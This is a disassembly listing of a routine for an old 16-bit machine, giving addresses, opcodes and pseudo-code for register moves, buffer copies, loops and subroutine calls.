0x000E (0x00001C) 0x2403- f:00022 d: 3 | A = A + OR[3]
0x000F (0x00001E) 0x1C00-0x0007 f:00016 d: 0 | A = A + 7 (0x0007)
0x0011 (0x000022) 0x290D- f:00024 d: 269 | OR[269] = A
0x0012 (0x000024) 0x310D- f:00030 d: 269 | A = (OR[269])
0x0013 (0x000026) 0x2403- f:00022 d: 3 | A = A + OR[3]
0x0014 (0x000028) 0x290D- f:00024 d: 269 | OR[269] = A
0x0015 (0x00002A) 0x790D- f:00074 d: 269 | P = OR[269]
0x0016 (0x00002C) 0x2F04- f:00027 d: 260 | OR[260] = OR[260] - 1
0x0017 (0x00002E) 0x3104- f:00030 d: 260 | A = (OR[260])
0x0018 (0x000030) 0x2904- f:00024 d: 260 | OR[260] = A
0x0019 (0x000032) 0x2104- f:00020 d: 260 | A = OR[260]
0x001A (0x000034) 0x2706- f:00023 d: 262 | A = A - OR[262]
0x001B (0x000036) 0x8007- f:00100 d: 7 | P = P + 7 (0x0022), C = 0
0x001C (0x000038) 0x2104- f:00020 d: 260 | A = OR[260]
0x001D (0x00003A) 0x2705- f:00023 d: 261 | A = A - OR[261]
0x001E (0x00003C) 0x8003- f:00100 d: 3 | P = P + 3 (0x0021), C = 0
0x001F (0x00003E) 0x8402- f:00102 d: 2 | P = P + 2 (0x0021), A = 0
0x0020 (0x000040) 0x7002- f:00070 d: 2 | P = P + 2 (0x0022)
0x0021 (0x000042) 0x7003- f:00070 d: 3 | P = P + 3 (0x0024)
0x0022 (0x000044) 0x7C34- f:00076 d: 52 | R = OR[52]
0x0023 (0x000046) 0x000B- f:00000 d: 11 | PASS | **** non-standard encoding with D:0x000B ****
0x0024 (0x000048) 0x102A- f:00010 d: 42 | A = 42 (0x002A)
0x0025 (0x00004A) 0x2922- f:00024 d: 290 | OR[290] = A
0x0026 (0x00004C) 0x1122- f:00010 d: 290 | A = 290 (0x0122)
0x0027 (0x00004E) 0x5800- f:00054 d: 0 | B = A
0x0028 (0x000050) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0029 (0x000052) 0x7C09- f:00076 d: 9 | R = OR[9]
0x002A (0x000054) 0x1800-0x0130 f:00014 d: 0 | A = 304 (0x0130)
0x002C (0x000058) 0x291F- f:00024 d: 287 | OR[287] = A
0x002D (0x00005A) 0x7E03-0x0209 f:00077 d: 3 | R = OR[3]+521 (0x0209)
0x002F (0x00005E) 0x2104- f:00020 d: 260 | A = OR[260]
0x0030 (0x000060) 0x290D- f:00024 d: 269 | OR[269] = A
0x0031 (0x000062) 0x2104- f:00020 d: 260 | A = OR[260]
0x0032 (0x000064) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x0033 (0x000066) 0x1A00-0xFFFC f:00015 d: 0 | A = A & 65532 (0xFFFC)
0x0035 (0x00006A) 0x2904- f:00024 d: 260 | OR[260] = A
0x0036 (0x00006C) 0x2104- f:00020 d: 260 | A = OR[260]
0x0037 (0x00006E) 0x2921- f:00024 d: 289 | OR[289] = A
0x0038 (0x000070) 0x1008- f:00010 d: 8 | A = 8 (0x0008)
0x0039 (0x000072) 0x2B04- f:00025 d: 260 | OR[260] = A + OR[260]
0x003A (0x000074) 0x2104- f:00020 d: 260 | A = OR[260]
0x003B (0x000076) 0x2705- f:00023 d: 261 | A = A - OR[261]
0x003C (0x000078) 0xB234- f:00131 d: 52 | R = OR[52], C = 1
0x003D (0x00007A) 0x000B- f:00000 d: 11 | PASS | **** non-standard encoding with D:0x000B ****
0x003E (0x00007C) 0x210D- f:00020 d: 269 | A = OR[269]
0x003F (0x00007E) 0x3904- f:00034 d: 260 | (OR[260]) = A
0x0040 (0x000080) 0x2D04- f:00026 d: 260 | OR[260] = OR[260] + 1
0x0041 (0x000082) 0x2121- f:00020 d: 289 | A = OR[289]
0x0042 (0x000084) 0x2914- f:00024 d: 276 | OR[276] = A
0x0043 (0x000086) 0x1008- f:00010 d: 8 | A = 8 (0x0008)
0x0044 (0x000088) 0x2915- f:00024 d: 277 | OR[277] = A
0x0045 (0x00008A) 0x1100- f:00010 d: 256 | A = 256 (0x0100)
0x0046 (0x00008C) 0x5800- f:00054 d: 0 | B = A
0x0047 (0x00008E) 0x2115- f:00020 d: 277 | A = OR[277]
0x0048 (0x000090) 0x8407- f:00102 d: 7 | P = P + 7 (0x004F), A = 0
0x0049 (0x000092) 0x6000- f:00060 d: 0 | A = OR[B]
0x004A (0x000094) 0x3914- f:00034 d: 276 | (OR[276]) = A
0x004B (0x000096) 0x2D14- f:00026 d: 276 | OR[276] = OR[276] + 1
0x004C (0x000098) 0x5C00- f:00056 d: 0 | B = B + 1
0x004D (0x00009A) 0x2F15- f:00027 d: 277 | OR[277] = OR[277] - 1
0x004E (0x00009C) 0x7207- f:00071 d: 7 | P = P - 7 (0x0047)
0x004F (0x00009E) 0x2120- f:00020 d: 288 | A = OR[288]
0x0050 (0x0000A0) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x0051 (0x0000A2) 0x2908- f:00024 d: 264 | OR[264] = A
0x0052 (0x0000A4) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0053 (0x0000A6) 0x2913- f:00024 d: 275 | OR[275] = A
0x0054 (0x0000A8) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x0055 (0x0000AA) 0x2922- f:00024 d: 290 | OR[290] = A
0x0056 (0x0000AC) 0x1800-0x010E f:00014 d: 0 | A = 270 (0x010E)
0x0058 (0x0000B0) 0x2923- f:00024 d: 291 | OR[291] = A
0x0059 (0x0000B2) 0x1800-0x0000 f:00014 d: 0 | A = 0 (0x0000)
0x005B (0x0000B6) 0x2924- f:00024 d: 292 | OR[292] = A
0x005C (0x0000B8) 0x2113- f:00020 d: 275 | A = OR[275]
0x005D (0x0000BA) 0x2925- f:00024 d: 293 | OR[293] = A
0x005E (0x0000BC) 0x1122- f:00010 d: 290 | A = 290 (0x0122)
0x005F (0x0000BE) 0x5800- f:00054 d: 0 | B = A
0x0060 (0x0000C0) 0x1800-0x1518 f:00014 d: 0 | A = 5400 (0x1518)
0x0062 (0x0000C4) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0063 (0x0000C6) 0x2913- f:00024 d: 275 | OR[275] = A
0x0064 (0x0000C8) 0x2121- f:00020 d: 289 | A = OR[289]
0x0065 (0x0000CA) 0x2914- f:00024 d: 276 | OR[276] = A
0x0066 (0x0000CC) 0x1008- f:00010 d: 8 | A = 8 (0x0008)
0x0067 (0x0000CE) 0x2915- f:00024 d: 277 | OR[277] = A
0x0068 (0x0000D0) 0x1100- f:00010 d: 256 | A = 256 (0x0100)
0x0069 (0x0000D2) 0x5800- f:00054 d: 0 | B = A
0x006A (0x0000D4) 0x2115- f:00020 d: 277 | A = OR[277]
0x006B (0x0000D6) 0x8407- f:00102 d: 7 | P = P + 7 (0x0072), A = 0
0x006C (0x0000D8) 0x3114- f:00030 d: 276 | A = (OR[276])
0x006D (0x0000DA) 0x6800- f:00064 d: 0 | OR[B] = A
0x006E (0x0000DC) 0x2D14- f:00026 d: 276 | OR[276] = OR[276] + 1
0x006F (0x0000DE) 0x5C00- f:00056 d: 0 | B = B + 1
0x0070 (0x0000E0) 0x2F15- f:00027 d: 277 | OR[277] = OR[277] - 1
0x0071 (0x0000E2) 0x7207- f:00071 d: 7 | P = P - 7 (0x006A)
0x0072 (0x0000E4) 0x2F04- f:00027 d: 260 | OR[260] = OR[260] - 1
0x0073 (0x0000E6) 0x3104- f:00030 d: 260 | A = (OR[260])
0x0074 (0x0000E8) 0x2904- f:00024 d: 260 | OR[260] = A
0x0075 (0x0000EA) 0x2104- f:00020 d: 260 | A = OR[260]
0x0076 (0x0000EC) 0x2706- f:00023 d: 262 | A = A - OR[262]
0x0077 (0x0000EE) 0x8007- f:00100 d: 7 | P = P + 7 (0x007E), C = 0
0x0078 (0x0000F0) 0x2104- f:00020 d: 260 | A = OR[260]
0x0079 (0x0000F2) 0x2705- f:00023 d: 261 | A = A - OR[261]
0x007A (0x0000F4) 0x8003- f:00100 d: 3 | P = P + 3 (0x007D), C = 0
0x007B (0x0000F6) 0x8402- f:00102 d: 2 | P = P + 2 (0x007D), A = 0
0x007C (0x0000F8) 0x7002- f:00070 d: 2 | P = P + 2 (0x007E)
0x007D (0x0000FA) 0x7003- f:00070 d: 3 | P = P + 3 (0x0080)
0x007E (0x0000FC) 0x7C34- f:00076 d: 52 | R = OR[52]
0x007F (0x0000FE) 0x000B- f:00000 d: 11 | PASS | **** non-standard encoding with D:0x000B ****
0x0080 (0x000100) 0x2113- f:00020 d: 275 | A = OR[275]
0x0081 (0x000102) 0x8602- f:00103 d: 2 | P = P + 2 (0x0083), A # 0
0x0082 (0x000104) 0x7013- f:00070 d: 19 | P = P + 19 (0x0095)
0x0083 (0x000106) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x0084 (0x000108) 0x2922- f:00024 d: 290 | OR[290] = A
0x0085 (0x00010A) 0x1800-0x0137 f:00014 d: 0 | A = 311 (0x0137)
0x0087 (0x00010E) 0x2923- f:00024 d: 291 | OR[291] = A
0x0088 (0x000110) 0x2113- f:00020 d: 275 | A = OR[275]
0x0089 (0x000112) 0x2924- f:00024 d: 292 | OR[292] = A
0x008A (0x000114) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x008B (0x000116) 0x2925- f:00024 d: 293 | OR[293] = A
0x008C (0x000118) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x008D (0x00011A) 0x2926- f:00024 d: 294 | OR[294] = A
0x008E (0x00011C) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x008F (0x00011E) 0x2927- f:00024 d: 295 | OR[295] = A
0x0090 (0x000120) 0x1122- f:00010 d: 290 | A = 290 (0x0122)
0x0091 (0x000122) 0x5800- f:00054 d: 0 | B = A
0x0092 (0x000124) 0x1800-0x1518 f:00014 d: 0 | A = 5400 (0x1518)
0x0094 (0x000128) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0095 (0x00012A) 0x727F- f:00071 d: 127 | P = P - 127 (0x0016)
0x0096 (0x00012C) 0x1800-0x01F4 f:00014 d: 0 | A = 500 (0x01F4)
0x0098 (0x000130) 0x291F- f:00024 d: 287 | OR[287] = A
0x0099 (0x000132) 0x7E03-0x0209 f:00077 d: 3 | R = OR[3]+521 (0x0209)
0x009B (0x000136) 0x2120- f:00020 d: 288 | A = OR[288]
0x009C (0x000138) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x009D (0x00013A) 0x2908- f:00024 d: 264 | OR[264] = A
0x009E (0x00013C) 0x3108- f:00030 d: 264 | A = (OR[264])
0x009F (0x00013E) 0x2913- f:00024 d: 275 | OR[275] = A
0x00A0 (0x000140) 0x2113- f:00020 d: 275 | A = OR[275]
0x00A1 (0x000142) 0x0A03- f:00005 d: 3 | A = A < 3 (0x0003)
0x00A2 (0x000144) 0x2914- f:00024 d: 276 | OR[276] = A
0x00A3 (0x000146) 0x2113- f:00020 d: 275 | A = OR[275]
0x00A4 (0x000148) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001)
0x00A5 (0x00014A) 0x2514- f:00022 d: 276 | A = A + OR[276]
0x00A6 (0x00014C) 0x2914- f:00024 d: 276 | OR[276] = A
0x00A7 (0x00014E) 0x1007- f:00010 d: 7 | A = 7 (0x0007)
0x00A8 (0x000150) 0x2922- f:00024 d: 290 | OR[290] = A
0x00A9 (0x000152) 0x2114- f:00020 d: 276 | A = OR[276]
0x00AA (0x000154) 0x2923- f:00024 d: 291 | OR[291] = A
0x00AB (0x000156) 0x1122- f:00010 d: 290 | A = 290 (0x0122)
0x00AC (0x000158) 0x5800- f:00054 d: 0 | B = A
0x00AD (0x00015A) 0x1800-0x1518 f:00014 d: 0 | A = 5400 (0x1518)
0x00AF (0x00015E) 0x7C09- f:00076 d: 9 | R = OR[9]
0x00B0 (0x000160) 0x729A- f:00071 d: 154 | P = P - 154 (0x0016)
0x00B1 (0x000162) 0x2102- f:00020 d: 258 | A = OR[258]
0x00B2 (0x000164) 0x1420- f:00012 d: 32 | A = A + 32 (0x0020)
0x00B3 (0x000166) 0x2908- f:00024 d: 264 | OR[264] = A
0x00B4 (0x000168) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00B5 (0x00016A) 0x0E04- f:00007 d: 4 | A = A << 4 (0x0004)
0x00B6 (0x00016C) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001)
0x00B7 (0x00016E) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x00B8 (0x000170) 0x0C05- f:00006 d: 5 | A = A >> 5 (0x0005)
0x00B9 (0x000172) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x00BA (0x000174) 0x7296- f:00071 d: 150 | P = P - 150 (0x0024)
0x00BB (0x000176) 0x1800-0x01F4 f:00014 d: 0 | A = 500 (0x01F4)
0x00BD (0x00017A) 0x291F- f:00024 d: 287 | OR[287] = A
0x00BE (0x00017C) 0x7E03-0x0209 f:00077 d: 3 | R = OR[3]+521 (0x0209)
0x00C0 (0x000180) 0x2120- f:00020 d: 288 | A = OR[288]
0x00C1 (0x000182) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x00C2 (0x000184) 0x2908- f:00024 d: 264 | OR[264] = A
0x00C3 (0x000186) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00C4 (0x000188) 0x2913- f:00024 d: 275 | OR[275] = A
0x00C5 (0x00018A) 0x2113- f:00020 d: 275 | A = OR[275]
0x00C6 (0x00018C) 0x0A03- f:00005 d: 3 | A = A < 3 (0x0003)
0x00C7 (0x00018E) 0x2914- f:00024 d: 276 | OR[276] = A
0x00C8 (0x000190) 0x2113- f:00020 d: 275 | A = OR[275]
0x00C9 (0x000192) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001)
0x00CA (0x000194) 0x2514- f:00022 d: 276 | A = A + OR[276]
0x00CB (0x000196) 0x2914- f:00024 d: 276 | OR[276] = A
0x00CC (0x000198) 0x2100- f:00020 d: 256 | A = OR[256]
0x00CD (0x00019A) 0x1412- f:00012 d: 18 | A = A + 18 (0x0012)
0x00CE (0x00019C) 0x2908- f:00024 d: 264 | OR[264] = A
0x00CF (0x00019E) 0x2114- f:00020 d: 276 | A = OR[276]
0x00D0 (0x0001A0) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x00D1 (0x0001A2) 0x2100- f:00020 d: 256 | A = OR[256]
0x00D2 (0x0001A4) 0x1440- f:00012 d: 64 | A = A + 64 (0x0040)
0x00D3 (0x0001A6) 0x2913- f:00024 d: 275 | OR[275] = A
0x00D4 (0x0001A8) 0x2113- f:00020 d: 275 | A = OR[275]
0x00D5 (0x0001AA) 0x290D- f:00024 d: 269 | OR[269] = A
0x00D6 (0x0001AC) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00D7 (0x0001AE) 0x390D- f:00034 d: 269 | (OR[269]) = A
0x00D8 (0x0001B0) 0x2D0D- f:00026 d: 269 | OR[269] = OR[269] + 1
0x00D9 (0x0001B2) 0x310D- f:00030 d: 269 | A = (OR[269])
0x00DA (0x0001B4) 0x840B- f:00102 d: 11 | P = P + 11 (0x00E5), A = 0
0x00DB (0x0001B6) 0x1002- f:00010 d: 2 | A = 2 (0x0002)
0x00DC (0x0001B8) 0x2922- f:00024 d: 290 | OR[290] = A
0x00DD (0x0001BA) 0x210D- f:00020 d: 269 | A = OR[269]
0x00DE (0x0001BC) 0x2923- f:00024 d: 291 | OR[291] = A
0x00DF (0x0001BE) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00E0 (0x0001C0) 0x2924- f:00024 d: 292 | OR[292] = A
0x00E1 (0x0001C2) 0x1122- f:00010 d: 290 | A = 290 (0x0122)
0x00E2 (0x0001C4) 0x5800- f:00054 d: 0 | B = A
0x00E3 (0x0001C6) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00E4 (0x0001C8) 0x7C09- f:00076 d: 9 | R = OR[9]
0x00E5 (0x0001CA) 0x72CF- f:00071 d: 207 | P = P - 207 (0x0016)
0x00E6 (0x0001CC) 0x1800-0x03FC f:00014 d: 0 | A = 1020 (0x03FC)
0x00E8 (0x0001D0) 0x291F- f:00024 d: 287 | OR[287] = A
0x00E9 (0x0001D2) 0x7E03-0x0209 f:00077 d: 3 | R = OR[3]+521 (0x0209)
0x00EB (0x0001D6) 0x2120- f:00020 d: 288 | A = OR[288]
0x00EC (0x0001D8) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x00ED (0x0001DA) 0x2908- f:00024 d: 264 | OR[264] = A
0x00EE (0x0001DC) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00EF (0x0001DE) 0x2913- f:00024 d: 275 | OR[275] = A
0x00F0 (0x0001E0) 0x2102- f:00020 d: 258 | A = OR[258]
0x00F1 (0x0001E2) 0x1420- f:00012 d: 32 | A = A + 32 (0x0020)
0x00F2 (0x0001E4) 0x2914- f:00024 d: 276 | OR[276] = A
0x00F3 (0x0001E6) 0x100F- f:00010 d: 15 | A = 15 (0x000F)
0x00F4 (0x0001E8) 0x1600- f:00013 d: 0 | A = A - 0 (0x0000)
0x00F5 (0x0001EA) 0x120F- f:00011 d: 15 | A = A & 15 (0x000F)
0x00F6 (0x0001EC) 0x5800- f:00054 d: 0 | B = A
0x00F7 (0x0001EE) 0x2113- f:00020 d: 275 | A = OR[275]
0x00F8 (0x0001F0) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x00F9 (0x0001F2) 0x290D- f:00024 d: 269 | OR[269] = A
0x00FA (0x0001F4) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00FB (0x0001F6) 0x0804- f:00004 d: 4 | A = A > 4 (0x0004)
0x00FC (0x0001F8) 0x2514- f:00022 d: 276 | A = A + OR[276]
0x00FD (0x0001FA) 0x290E- f:00024 d: 270 | OR[270] = A
0x00FE (0x0001FC) 0x310E- f:00030 d: 270 | A = (OR[270])
0x00FF (0x0001FE) 0x4C00- f:00046 d: 0 | A = A >> B
0x0100 (0x000200) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x0101 (0x000202) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001)
0x0102 (0x000204) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x0103 (0x000206) 0x4E00- f:00047 d: 0 | A = A << B
0x0104 (0x000208) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x0105 (0x00020A) 0x2113- f:00020 d: 275 | A = OR[275]
0x0106 (0x00020C) 0x8CF0- f:00106 d: 240 | P = P - 240 (0x0016), A = 0
0x0107 (0x00020E) 0x7E03-0x0237 f:00077 d: 3 | R = OR[3]+567 (0x0237)
0x0109 (0x000212) 0x3120- f:00030 d: 288 | A = (OR[288])
0x010A (0x000214) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x010B (0x000216) 0x2913- f:00024 d: 275 | OR[275] = A
0x010C (0x000218) 0x2113- f:00020 d: 275 | A = OR[275]
0x010D (0x00021A) 0x160C- f:00013 d: 12 | A = A - 12 (0x000C)
0x010E (0x00021C) 0x8602- f:00103 d: 2 | P = P + 2 (0x0110), A # 0
0x010F (0x00021E) 0x700B- f:00070 d: 11 | P = P + 11 (0x011A)
0x0110 (0x000220) 0x2120- f:00020 d: 288 | A = OR[288]
0x0111 (0x000222) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x0112 (0x000224) 0x2908- f:00024 d: 264 | OR[264] = A
0x0113 (0x000226) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0114 (0x000228) 0x2914- f:00024 d: 276 | OR[276] = A
0x0115 (0x00022A) 0x2102- f:00020 d: 258 | A = OR[258]
0x0116 (0x00022C) 0x1412- f:00012 d: 18 | A = A + 18 (0x0012)
0x0117 (0x00022E) 0x2908- f:00024 d: 264 | OR[264] = A
0x0118 (0x000230) 0x2114- f:00020 d: 276 | A = OR[276]
0x0119 (0x000232) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x011A (0x000234) 0x2102- f:00020 d: 258 | A = OR[258]
0x011B (0x000236) 0x142D- f:00012 d: 45 | A = A + 45 (0x002D)
0x011C (0x000238) 0x2913- f:00024 d: 275 | OR[275] = A
0x011D (0x00023A) 0x2113- f:00020 d: 275 | A = OR[275]
0x011E (0x00023C) 0x290D- f:00024 d: 269 | OR[269] = A
0x011F (0x00023E) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0120 (0x000240) 0x390D- f:00034 d: 269 | (OR[269]) = A
0x0121 (0x000242) 0x2D0D- f:00026 d: 269 | OR[269] = OR[269] + 1
0x0122 (0x000244) 0x310D- f:00030 d: 269 | A = (OR[269])
0x0123 (0x000246) 0x840B- f:00102 d: 11 | P = P + 11 (0x012E), A = 0
0x0124 (0x000248) 0x1002- f:00010 d: 2 | A = 2 (0x0002)
0x0125 (0x00024A) 0x2922- f:00024 d: 290 | OR[290] = A
0x0126 (0x00024C) 0x210D- f:00020 d: 269 | A = OR[269]
0x0127 (0x00024E) 0x2923- f:00024 d: 291 | OR[291] = A
0x0128 (0x000250) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0129 (0x000252) 0x2924- f:00024 d: 292 | OR[292] = A
0x012A (0x000254) 0x1122- f:00010 d: 290 | A = 290 (0x0122)
0x012B (0x000256) 0x5800- f:00054 d: 0 | B = A
0x012C (0x000258) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x012D (0x00025A) 0x7C09- f:00076 d: 9 | R = OR[9]
0x012E (0x00025C) 0x7318- f:00071 d: 280 | P = P - 280 (0x0016)
0x012F (0x00025E) 0x1800-0x0558 f:00014 d: 0 | A = 1368 (0x0558)
0x0131 (0x000262) 0x291F- f:00024 d: 287 | OR[287] = A
0x0132 (0x000264) 0x7E03-0x0209 f:00077 d: 3 | R = OR[3]+521 (0x0209)
0x0134 (0x000268) 0x2120- f:00020 d: 288 | A = OR[288]
0x0135 (0x00026A) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0136 (0x00026C) 0x2908- f:00024 d: 264 | OR[264] = A
0x0137 (0x00026E) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0138 (0x000270) 0x2913- f:00024 d: 275 | OR[275] = A
0x0139 (0x000272) 0x2113- f:00020 d: 275 | A = OR[275]
0x013A (0x000274) 0x8402- f:00102 d: 2 | P = P + 2 (0x013C), A = 0
0x013B (0x000276) 0x700E- f:00070 d: 14 | P = P + 14 (0x0149)
0x013C (0x000278) 0x7E03-0x0237 f:00077 d: 3 | R = OR[3]+567 (0x0237)
0x013E (0x00027C) 0x2120- f:00020 d: 288 | A = OR[288]
0x013F (0x00027E) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0140 (0x000280) 0x2908- f:00024 d: 264 | OR[264] = A
0x0141 (0x000282) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0142 (0x000284) 0x2913- f:00024 d: 275 | OR[275] = A
0x0143 (0x000286) 0x2100- f:00020 d: 256 | A = OR[256]
0x0144 (0x000288) 0x1409- f:00012 d: 9 | A = A + 9 (0x0009)
0x0145 (0x00028A) 0x2908- f:00024 d: 264 | OR[264] = A
0x0146 (0x00028C) 0x2113- f:00020 d: 275 | A = OR[275]
0x0147 (0x00028E) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0148 (0x000290) 0x7051- f:00070 d: 81 | P = P + 81 (0x0199)
0x0149 (0x000292) 0x7E03-0x0237 f:00077 d: 3 | R = OR[3]+567 (0x0237)
0x014B (0x000296) 0x2120- f:00020 d: 288 | A = OR[288]
0x014C (0x000298) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x014D (0x00029A) 0x2908- f:00024 d: 264 | OR[264] = A
0x014E (0x00029C) 0x3108- f:00030 d: 264 | A = (OR[264])
0x014F (0x00029E) 0x2913- f:00024 d: 275 | OR[275] = A
0x0150 (0x0002A0) 0x2120- f:00020 d: 288 | A = OR[288]
0x0151 (0x0002A2) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x0152 (0x0002A4) 0x2908- f:00024 d: 264 | OR[264] = A
0x0153 (0x0002A6) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0154 (0x0002A8) 0x2914- f:00024 d: 276 | OR[276] = A
0x0155 (0x0002AA) 0x2100- f:00020 d: 256 | A = OR[256]
0x0156 (0x0002AC) 0x140A- f:00012 d: 10 | A = A + 10 (0x000A)
0x0157 (0x0002AE) 0x2915- f:00024 d: 277 | OR[277] = A
0x0158 (0x0002B0) 0x2115- f:00020 d: 277 | A = OR[277]
0x0159 (0x0002B2) 0x290E- f:00024 d: 270 | OR[270] = A
0x015A (0x0002B4) 0x1004- f:00010 d: 4 | A = 4 (0x0004)
0x015B (0x0002B6) 0x290D- f:00024 d: 269 | OR[269] = A
0x015C (0x0002B8) 0x210D- f:00020 d: 269 | A = OR[269]
0x015D (0x0002BA) 0x8406- f:00102 d: 6 | P = P + 6 (0x0163), A = 0
0x015E (0x0002BC) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x015F (0x0002BE) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x0160 (0x0002C0) 0x2F0D- f:00027 d: 269 | OR[269] = OR[269] - 1
0x0161 (0x0002C2) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1
0x0162 (0x0002C4) 0x7206- f:00071 d: 6 | P = P - 6 (0x015C)
0x0163 (0x0002C6) 0x2113- f:00020 d: 275 | A = OR[275]
0x0164 (0x0002C8) 0x290F- f:00024 d: 271 | OR[271] = A
0x0165 (0x0002CA) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0166 (0x0002CC) 0x2910- f:00024 d: 272 | OR[272] = A
0x0167 (0x0002CE) 0x2114- f:00020 d: 276 | A = OR[276]
0x0168 (0x0002D0) 0x2911- f:00024 d: 273 | OR[273] = A
0x0169 (0x0002D2) 0x702E- f:00070 d: 46 | P = P + 46 (0x0197)
0x016A (0x0002D4) 0x210F- f:00020 d: 271 | A = OR[271]
0x016B (0x0002D6) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x016C (0x0002D8) 0x2519- f:00022 d: 281 | A = A + OR[281]
0x016D (0x0002DA) 0x290D- f:00024 d: 269 | OR[269] = A
0x016E (0x0002DC) 0x310D- f:00030 d: 269 | A = (OR[269])
0x016F (0x0002DE) 0x290D- f:00024 d: 269 | OR[269] = A
0x0170 (0x0002E0) 0x210F- f:00020 d: 271 | A = OR[271]
0x0171 (0x0002E2) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x0172 (0x0002E4) 0x2908- f:00024 d: 264 | OR[264] = A
0x0173 (0x0002E6) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0174 (0x0002E8) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0175 (0x0002EA) 0x8604- f:00103 d: 4 | P = P + 4 (0x0179), A # 0
0x0176 (0x0002EC) 0x210D- f:00020 d: 269 | A = OR[269]
0x0177 (0x0002EE) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x0178 (0x0002F0) 0x290D- f:00024 d: 269 | OR[269] = A
0x0179 (0x0002F2) 0x210D- f:00020 d: 269 | A = OR[269]
0x017A (0x0002F4) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x017B (0x0002F6) 0x2912- f:00024 d: 274 | OR[274] = A
0x017C (0x0002F8) 0x2D0F- f:00026 d: 271 | OR[271] = OR[271] + 1
0x017D (0x0002FA) 0x2112- f:00020 d: 274 | A = OR[274]
0x017E (0x0002FC) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x017F (0x0002FE) 0x290D- f:00024 d: 269 | OR[269] = A
0x0180 (0x000300) 0x2110- f:00020 d: 272 | A = OR[272]
0x0181 (0x000302) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x0182 (0x000304) 0x2515- f:00022 d: 277 | A = A + OR[277]
0x0183 (0x000306) 0x290E- f:00024 d: 270 | OR[270] = A
0x0184 (0x000308) 0x2110- f:00020 d: 272 | A = OR[272]
0x0185 (0x00030A) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x0186 (0x00030C) 0x2908- f:00024 d: 264 | OR[264] = A
0x0187 (0x00030E) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0188 (0x000310) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0189 (0x000312) 0x8607- f:00103 d: 7 | P = P + 7 (0x0190), A # 0
0x018A (0x000314) 0x310E- f:00030 d: 270 | A = (OR[270])
0x018B (0x000316) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x018C (0x000318) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x018D (0x00031A) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x018E (0x00031C) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x018F (0x00031E) 0x7006- f:00070 d: 6 | P = P + 6 (0x0195)
0x0190 (0x000320) 0x310E- f:00030 d: 270 | A = (OR[270])
0x0191 (0x000322) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x0193 (0x000326) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x0194 (0x000328) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x0195 (0x00032A) 0x2D10- f:00026 d: 272 | OR[272] = OR[272] + 1
0x0196 (0x00032C) 0x2F11- f:00027 d: 273 | OR[273] = OR[273] - 1
0x0197 (0x00032E) 0x2111- f:00020 d: 273 | A = OR[273]
0x0198 (0x000330) 0x8E2E- f:00107 d: 46 | P = P - 46 (0x016A), A # 0
0x0199 (0x000332) 0x7383- f:00071 d: 387 | P = P - 387 (0x0016)
